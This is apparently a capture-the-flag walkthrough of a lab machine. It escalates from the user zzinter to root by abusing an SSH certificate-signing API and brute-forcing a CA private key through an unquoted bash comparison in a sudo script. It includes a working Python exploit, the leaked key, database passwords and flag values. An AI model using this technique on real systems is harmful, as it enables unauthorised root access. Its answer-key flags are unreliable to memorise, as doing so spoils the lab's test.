lrwxrwxrwx 1 root root 9 Jul 23 14:22 .bash_history -> /dev/null
-rw-r--r-- 1 zzinter zzinter 220 Mar 29 19:40 .bash_logout
-rw-r--r-- 1 zzinter zzinter 3.5K Mar 29 19:40 .bashrc
-rw-r--r-- 1 zzinter zzinter 807 Mar 29 19:40 .profile
drwx------ 2 zzinter zzinter 4.0K Aug 5 20:14 .ssh
-rw------- 1 zzinter zzinter 835 Aug 5 20:16 .viminfo
drwxr-xr-x 2 zzinter zzinter 4.0K Aug 5 20:15 decommission_old_ca
-rw-rw-r-- 1 root root 1.2K Feb 19 16:43 sign_key_api.sh
-rw-r----- 1 root zzinter 33 Aug 5 20:08 user.txt
User.txt
zzinter@itrc:~$ cat user.txt
08dc8516ee93908d186512a84dace359
SSH (2222)
Privilege Escalation (support)
zzinter@itrc:~$ cat sign_key_api.sh
#!/bin/bash
usage () {
echo "Usage: $0 <public_key_file> <username> <principal>"
exit 1
}
if [ "$#" -ne 3 ]; then
usage
fi
public_key_file="$1"
username="$2"
principal_str="$3"
supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi
public_key=$(cat $public_key_file)
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
└─$ echo '7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE' | base64 -d | xxd
00000000: ed3a b1ea 8c0c 2ed9 edea 8791 d8e4 5b5a .:............[Z
00000010: 638f 937d 33e1 91fd d359 07e9 4513 eaf3 c..}3....Y..E...
00000020: 7388 da86 ad88 264a f7b9 8c29 a73c 90c4 s.....&J...).<..
Unfortunately the Authorization token decodes to garbage, but now we have some idea how to use the application.
Generate API key and try to authenticate on other box:
zzinter@itrc:~$ bash sign_key_api.sh decommission_old_ca/letmein.pub zzinter webserver
ssh-rsa-cert-v01@openssh.com AAAAHHNzaC1yc2EtY2VydC12MDFAb3BlbnNzaC5jb20AAAAg8vd0nLbYDKUGRWy7dWQgTZ9ZiC8ZBz9P9fDgSV5ncU8AAAADAQABAAABgQDuQ8Kdx0SdbVnLIzPiMvEPYx8vn+VaaiE3oUsWmus24jmigB3ehC/MKaqeWc7240r+ABT1xSokGMoHcdohu14wHla3/HuESg5wxcBa/ImA6e4qnKcKsNafrkVNJpuM94SeekJz3DV6haAvjFO3X/YdqpcG6wJVGrFaJGouYzy7Xl+WmkLxdAKEG81PRa6rksAkifs+6MROtnbUUqsgw3CE5yNZvCScPpvDwGbmE9zc7OMSp5gdLeeSSRiigT5JfiaPHE1ft8gFVzefGd9uy/KSU+hTM8xnjJ/Ek/tGNTSRI3plK6udKKx/B8ouT6K0V0pOEVccY0PLYNlqcLmCLKADCnXoNMjZYkHlw7x1fwn0ffXzqHX0j2ZGj1YJVSjwxRf//e51D4d03be40UpBDPiCqK7siancVU4232ZWBAFjTR8CyZg7Aed54osGH37RLujmv3lIJsQJHfBBSP5PzwACOfTysJ+G6rlzT6fs2bK3T0sr06+YQ9RBaGw9dLEXRo0AAAAAAAAAKQAAAAEAAAAHenppbnRlcgAAAA0AAAAJd2Vic2VydmVyAAAAAGaoABH//////////wAAAAAAAACCAAAAFXBlcm1pdC1YMTEtZm9yd2FyZGluZwAAAAAAAAAXcGVybWl0LWFnZW50LWZvcndhcmRpbmcAAAAAAAAAFnBlcm1pdC1wb3J0LWZvcndhcmRpbmcAAAAAAAAACnBlcm1pdC1wdHkAAAAAAAAADnBlcm1pdC11c2VyLXJjAAAAAAAAAAAAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIIHg8Cudy1ShyYfqzC3ANlgAcW7Q4MoZuezAE8mNFSmxAAAAUwAAAAtzc2gtZWQyNTUxOQAAAED4DbKojeGjedTJ6CebsveNtGoHZC34Hcdv8ElDIMH0h8lrgN/mxz1ZeQeJbXQMBo7hqKFFzcal2BYWvouod9oJ msainristil@itrc
zzinter@itrc:~$ bash sign_key_api.sh decommission_old_ca/letmein.pub zzinter webserver
zzinter@itrc:~$ bash sign_key_api.sh decommission_old_ca/letmein.pub webadmin webserver
zzinter@itrc:~$ ssh -o CertificateFile=zzinter.pub -i decommission_old_ca/letmein webadmin@10.10.11.27 -p 2222
webadmin@10.10.11.27s password: ????
zzinter@itrc:~$ bash sign_key_api.sh decommission_old_ca/letmein.pub support support > zzinter.pub
zzinter@itrc:~$ ssh -o CertificateFile=zzinter.pub -i decommission_old_ca/letmein support@10.10.11.27 -p 2222
Enter passphrase for key 'decommission_old_ca/letmein':
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64)
...
support@ssg:~$ id
uid=1000(support) gid=1000(support) groups=1000(support)
webadmin
seemed like higher privilege so I first tried that, but without password it wouldn't auth, but support
user is able to login without any password.
The box seems identical to itrc
, but hosts
is a bit different.
support@ssg:~$ ls /home
support zzinter
support@ssg:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 ssg resource.htb
172.223.0.3 itrc.ssg.htb
172.223.0.1 signserv.ssg.htb
In the /etc/ssh
we can find auth_principals
which further has supported principles that can be used to authenticate into the box.
support@ssg:/etc/ssh$ ls -lah
total 604K
drwxr-xr-x 5 root root 4.0K Jul 24 12:24 .
drwxr-xr-x 100 root root 4.0K Jul 30 08:45 ..
drwxr-xr-x 2 root root 4.0K Feb 8 12:16 auth_principals
-rw------- 1 root root 399 Feb 8 19:40 ca-analytics
-rw-r--r-- 1 root root 94 Feb 8 19:40 ca-analytics.pub
-rw------- 1 root root 432 Feb 8 19:42 ca-it
-rw-r--r-- 1 root root 116 Feb 8 19:43 ca-it.pub
-rw------- 1 root root 2.6K Feb 8 19:03 ca-security
-rw-r--r-- 1 root root 569 Feb 8 19:03 ca-security.pub
-rw-r--r-- 1 root root 494K Jul 19 2023 moduli
-rw-r--r-- 1 root root 1.7K Jul 19 2023 ssh_config
drwxr-xr-x 2 root root 4.0K Feb 7 21:52 ssh_config.d
-rw-r--r-- 1 root root 3.2K Feb 7 21:48 sshd_config
drwxr-xr-x 2 root root 4.0K Feb 8 12:24 sshd_config.d
-rw-r--r-- 1 root root 3.2K Jul 24 12:23 sshd_config.ucf-dist
-rw------- 1 root root 1.4K Feb 7 19:37 ssh_host_dsa_key
-rw-r--r-- 1 root root 959 Feb 8 19:44 ssh_host_dsa_key-cert.pub
-rw-r--r-- 1 root root 598 Feb 7 19:37 ssh_host_dsa_key.pub
-rw------- 1 root root 505 Feb 7 19:37 ssh_host_ecdsa_key
-rw-r--r-- 1 root root 531 Feb 8 19:44 ssh_host_ecdsa_key-cert.pub
-rw-r--r-- 1 root root 170 Feb 7 19:37 ssh_host_ecdsa_key.pub
-rw------- 1 root root 399 Feb 7 19:37 ssh_host_ed25519_key
-rw-r--r-- 1 root root 451 Feb 8 19:44 ssh_host_ed25519_key-cert.pub
-rw-r--r-- 1 root root 90 Feb 7 19:37 ssh_host_ed25519_key.pub
-rw------- 1 root root 2.6K Feb 7 19:37 ssh_host_rsa_key
-rw-r--r-- 1 root root 923 Feb 8 19:44 ssh_host_rsa_key-cert.pub
-rw-r--r-- 1 root root 562 Feb 7 19:37 ssh_host_rsa_key.pub
-rw-r--r-- 1 root root 342 Dec 7 2020 ssh_import_id
support@ssg:/etc/ssh$ cd auth_principals/
support@ssg:/etc/ssh/auth_principals$ ls
root support zzinter
support@ssg:/etc/ssh/auth_principals$ cat zzinter
zzinter_temp
support@ssg:/etc/ssh/auth_principals$ cat support
support
root_user
support@ssg:/etc/ssh/auth_principals$ cat root
root_user
Going directly to root doesn't seem that easy :/

Privilege Escalation (zzinter)
The server code seems to be living in /opt/signserv
, but no read permissions. zzinter has permissions to read the sign_key.sh
support@ssg:/opt$ ls -alh
total 16K
drwxr-xr-x 3 root root 4.0K Jul 23 14:03 .
drwxr-xr-x 19 root root 4.0K Jul 24 11:54 ..
-rwxr----- 1 root zzinter 1.5K Jul 23 14:02 sign_key.sh
drwx------ 4 root root 4.0K Feb 8 19:05 signserv
Get certificate with your public key

Turns out you can't use your own keys (kali machine), keys must come from same device in network (support).
support@ssg:/tmp$ ssh-keygen -f zzinter_temp -P 'Password123$'
Generating public/private rsa key pair.
Your identification has been saved in zzinter_temp
Your public key has been saved in zzinter_temp.pub
The key fingerprint is:
SHA256:JkM7UciGwm3MO6NVZtipwBqlTLzQXavZxx1LMjsRLDw support@ssg
support@ssg:/tmp$ cat zzinter_temp.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3RtLI2EmoYIDUkKYB8XAlj832wKcrriAdaV1pI3em9z4sQ6TyRA3vMZChhFC6gTIeKYewKBrYVcGQum+rNHeiz/c9EoVnrHlWUbCP8madYA8BzWc3ROGIJm1MeSICXEDXJ2ZHbeEt2Sv7EuTau6W2Y4RHHAASb2jysbXR2FfoWipPZFIsh31Zz4+FPHd5Q+dT5onhjAj0FnK/M76+7uTae75X4oLMiy8f0NKs1XkzCnoaKD4dUbT76dhPUwC0jIPWrzruCg1Ra3mUyitG+MaSfd4kZxTiUO3huUS+qskYUfxQ37pbPRWiMBLfbrdbQXnwvygYvLnCGv8rrs/N9+U0NsHRyRLO+CYZyaLe77o1712VukzAanfmX1lKo34Lvoh6Sgc0UyuYOsbe2FQA8j/xvCugYi3jlqvvgSKwrzGTNfrbrSmCUxUqUtO6XLnuklKMaeLRLXJkYHgu+QM9FsLx3uAMzy9b0kGzK+TtvZ8OQ50WBlEwtWm63M4Qi14cAMc= support@ssg
support@ssg:/tmp$ vi zzinter_temp-cert.pub
support@ssg:/tmp$ ssh zzinter@10.10.11.27 -p 2222 -o CertificateFile=zzinter_temp-cert.pub -i zzinter_temp
Enter passphrase for key 'zzinter_temp':
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64)
...
zzinter@ssg:~$ id
uid=1001(zzinter) gid=1001(zzinter) groups=1001(zzinter)

or just modify the previous script:
#!/bin/bash
usage () { echo "Usage: $0 <public_key_file> <username> <principal>"; exit 1; }
if [ "$#" -ne 3 ]; then usage; fi
public_key=$(cat "$1")
username="$2"
principal="$3"
curl signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
└─$ bash sign_api_key.sh ssh/itrc_zzinter/letmein.pub zzinter zzinter_temp > zzinter_temp-cert.pub
└─$ ssh zzinter@10.10.11.27 -p 2222 -o CertificateFile=./ssh/ssg_zzinter/zzinter_temp-cert.pub -i ./ssh/ssg_zzinter/letmein
---
└─$ pwd && find . -type f -exec chmod 600 {} \;
~/Desktop/Rooms/Resource/ssh
Anyway, let's inspect the script in /opt
zzinter@ssg:/opt$ cat sign_key.sh
#!/bin/bash
usage () {
echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
exit 1
}
if [ "$#" -ne 5 ]; then
usage
fi
ca_file="$1"
public_key_file="$2"
username="$3"
principal="$4"
serial="$5"
if [ ! -f "$ca_file" ]; then
echo "Error: CA file '$ca_file' not found."
usage
fi
if [[ $ca == "/etc/ssh/ca-it" ]]; then
echo "Error: Use API for signing with this CA."
usage
fi
itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
echo "Error: Use API for signing with this CA."
usage
fi
if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi
supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if ! [[ $serial =~ ^[0-9]+$ ]]; then
echo "Error: '$serial' is not a number."
usage
fi
ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"
The script uses ca-it
file to verify given certificate, the file seems to be Global SSG SSH Certficiate from IT
.
zzinter@ssg:/opt$ cat /etc/ssh/ca-it
cat: /etc/ssh/ca-it: Permission denied
zzinter@ssg:/opt$ cat /etc/ssh/ca-it.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIHg8Cudy1ShyYfqzC3ANlgAcW7Q4MoZuezAE8mNFSmx Global SSG SSH Certficiate from IT
Privilege Escalation (root)
zzinter can run this script as root:
zzinter@ssg:/opt$ sudo -l
Matching Defaults entries for zzinter on ssg:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User zzinter may run the following commands on ssg:
(root) NOPASSWD: /opt/sign_key.sh
Unfortunately we are not able to use /etc/ssh/ca-it
.
zzinter@ssg:/tmp$ sudo /opt/sign_key.sh /etc/ssh/ca-it letmein.pub zzinter support 1
Error: Use API for signing with this CA.
Usage: /opt/sign_key.sh <ca_file> <public_key_file> <username> <principal> <serial>
Reason being that our input CA is checked against it. If you notice the script also has a vulnerability, in the test variables are compared without quotes which is dangerous in bash
itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
echo "Error: Use API for signing with this CA."
usage
fi
shellharden/how_to_do_things_safely_in_bash > The first thing to know about bash coding
An unquoted variable is to be treated as an armed bomb: It explodes upon contact with whitespace and wildcards.
Before writing exploit let's write small test:

With this we confirmed that using *
we can match any character and essentially bruteforce the file.
import string
import os
from subprocess import DEVNULL, check_output, CalledProcessError
CHARSET = string.ascii_letters + string.digits + '+/='
START = '-----BEGIN OPENSSH PRIVATE KEY-----'
END = '-----END OPENSSH PRIVATE KEY-----'
DUMMY_FILE = '/tmp/letmein'
DUMMY_FILE2 = '/tmp/whocares'
OUTPUT = '/tmp/leaked'
SUCCESS = b'Error'
contents = ''
i = len(contents) % 71 # If some chunk is already known
with open(DUMMY_FILE2, 'w') as f: f.write('someone')
os.chmod(DUMMY_FILE2, 0o600)
while True:
for c in CHARSET:
# \033[H moves the cursor to the home position (top-left corner).
# \033[J clears the screen from the cursor down.
print(f'\033[H\033[J{contents}', end='')
if i == 70:
contents += '\n'
i = 0
tmp = f'{contents}{c}*'
with open(DUMMY_FILE, 'w') as f:
f.write(f'{START}\n{tmp}\n{END}')
os.chmod(DUMMY_FILE, 0o600)
try:
check_output(f'sudo /opt/sign_key.sh {DUMMY_FILE} {DUMMY_FILE2} zzinter support 1', shell=True, stderr=DEVNULL)
except CalledProcessError as e:
out = e.output
if SUCCESS in out:
contents += c
i += 1
break
else:
break
with open(OUTPUT, 'w') as f:
leaked = f'{START}\n{contents.strip()}\n{END}'
print('\n\n' + leaked)
print(leaked, file=f)
Run the script and wait some time for bruteforce to finish, check the output file for certificate:
zzinter@ssg:/dev/shm$ cat /tmp/leaked
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAKg7BlysOwZc
rAAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQ
AAAEBexnpzDJyYdz+91UG3dVfjT/scyWdzgaXlgx75RjYOo4Hg8Cudy1ShyYfqzC3ANlgA
cW7Q4MoZuezAE8mNFSmxAAAAIkdsb2JhbCBTU0cgU1NIIENlcnRmaWNpYXRlIGZyb20gSV
QBAgM=
-----END OPENSSH PRIVATE KEY-----
Connect to box via new certificate
└─$ vi ./ssh/ssg_root/ca-it
└─$ chmod 600 ./ssh/ssg_root/ca-it
└─$ ssh-keygen -s ./ssh/ssg_root/ca-it -z 1 -I root -V -1w:forever -n root_user ./ssh/ssg_root/letmein.pub
Signed user key letmein-cert.pub: id "root" serial 1 for root_user valid after 2024-07-30T11:01:00
└─$ ssh root@10.10.11.27 -p 2222 -o CertificateFile=./ssh/ssg_root/letmein-cert.pub -i ./ssh/ssg_root/letmein
root@ssg:~# id
uid=0(root) gid=0(root) groups=0(root)
Root.txt
root@ssg:~# cat root.txt
42d3bb11e00c5447a1a4dca244d530d1
Root Scripts
root@ssg:~/docker# ls -alh
total 36K
drwxrwxr-x 5 root root 4.0K Jul 23 14:37 .
drwx------ 6 root root 4.0K Aug 6 13:50 ..
-rwxrwxr-x 1 root root 42 Jan 24 2024 build.sh
-rwxr-xr-x 1 root root 83 Jul 23 14:37 copy.sh
drwxrwxr-x 2 root root 4.0K Feb 7 18:46 db
-rw-rw-r-- 1 root root 778 Jul 23 13:36 docker-compose.yml
drwxrwxr-x 2 root root 4.0K Feb 7 18:48 host
drwxrwxr-x 4 root root 4.0K Jul 23 14:12 itrc
-rwxrwxr-x 1 root root 119 Jan 24 2024 savedb.sh
root@ssg:~/docker# cat build.sh
#!/bin/bash
docker compose up --build -d
root@ssg:~/docker# cat copy.sh
#!/bin/bash
docker cp /home/zzinter/user.txt resource-itrc:/home/zzinter/user.txt
root@ssg:~/docker# cat savedb.sh
#!/bin/bash
mysqldump --column-statistics=0 -h 127.0.0.1 -u jj -pugEG5rR5SG8uPd resourcecenter | tee docker/db/db.sql
root@ssg:~/docker# cat docker-compose.yml
version: "3"
services:
itsc:
hostname: itrc
build:
context: .
dockerfile: itrc/Dockerfile
container_name: resource-itrc
networks:
resource:
ipv4_address: 172.223.0.3
depends_on:
- db
ports:
- 22:22
restart: always
db:
hostname: db
build:
context: .
dockerfile: db/Dockerfile
container_name: resource-db
environment:
MYSQL_ROOT_PASSWORD: root
MYSQL_DATABASE: resourcecenter
MYSQL_USER: jj
MYSQL_PASSWORD: ugEG5rR5SG8uPd
networks:
resource:
ipv4_address: 172.223.0.2
restart: always
networks:
resource:
driver: bridge
ipam:
driver: default
config:
- subnet: 172.223.0.0/16
gateway: 172.223.0.1
root@ssg:~/docker# cat db/Dockerfile
FROM mariadb:latest
RUN apt upgrade && apt update -y
ADD db/db.sql /docker-entrypoint-initdb.d
EXPOSE 3306
root@ssg:~/docker# cat host/Dockerfile
FROM php:8.1-apache
RUN a2enmod rewrite
RUN apt update && apt upgrade -y
COPY itrc/000-default.conf /etc/apache2/sites-available/000-default.conf
COPY itrc/support-app /var/www/itrc
COPY itrc/startup.sh /opt/startup.sh
RUN chmod +x /opt/startup.sh
RUN useradd -ms /bin/bash msainristil
RUN useradd -ms /bin/bash zzinter
COPY itrc/decommission_old_ca /home/msainristil/decommission_old_ca
RUN chown -R msainristil:msainristil /home/msainristil/decommission_old_ca
RUN ssh-keygen -h -s /home/msainristil/decommission_old_ca/ca-itrc -z 1 -I ITRC -V 20221023081246:forever -n itsc /etc/ssh/ssh_host_rsa_key.pub
RUN ssh-keygen -h -s /home/msainristil/decommission_old_ca/ca-itrc -z 2 -I ITRC -V 20221023081301:forever -n itsc /etc/ssh/ssh_host_ecdsa_key.pub
RUN ssh-keygen -h -s /home/msainristil/decommission_old_ca/ca-itrc -z 3 -I ITRC -V 20221023081319:forever -n itsc /etc/ssh/ssh_host_ed25519_key.pub
COPY itrc/sshcerts.conf /etc/ssh/sshd_config.d/sshcerts.conf
RUN cat /home/msainristil/decommission_old_ca/ca-itrc.pub > /etc/ssh/ca_users_keys.pub
WORKDIR /var/www/itrc
RUN chown -R www-data:www-data /var/www
CMD ["/opt/startup.sh"]
Last updated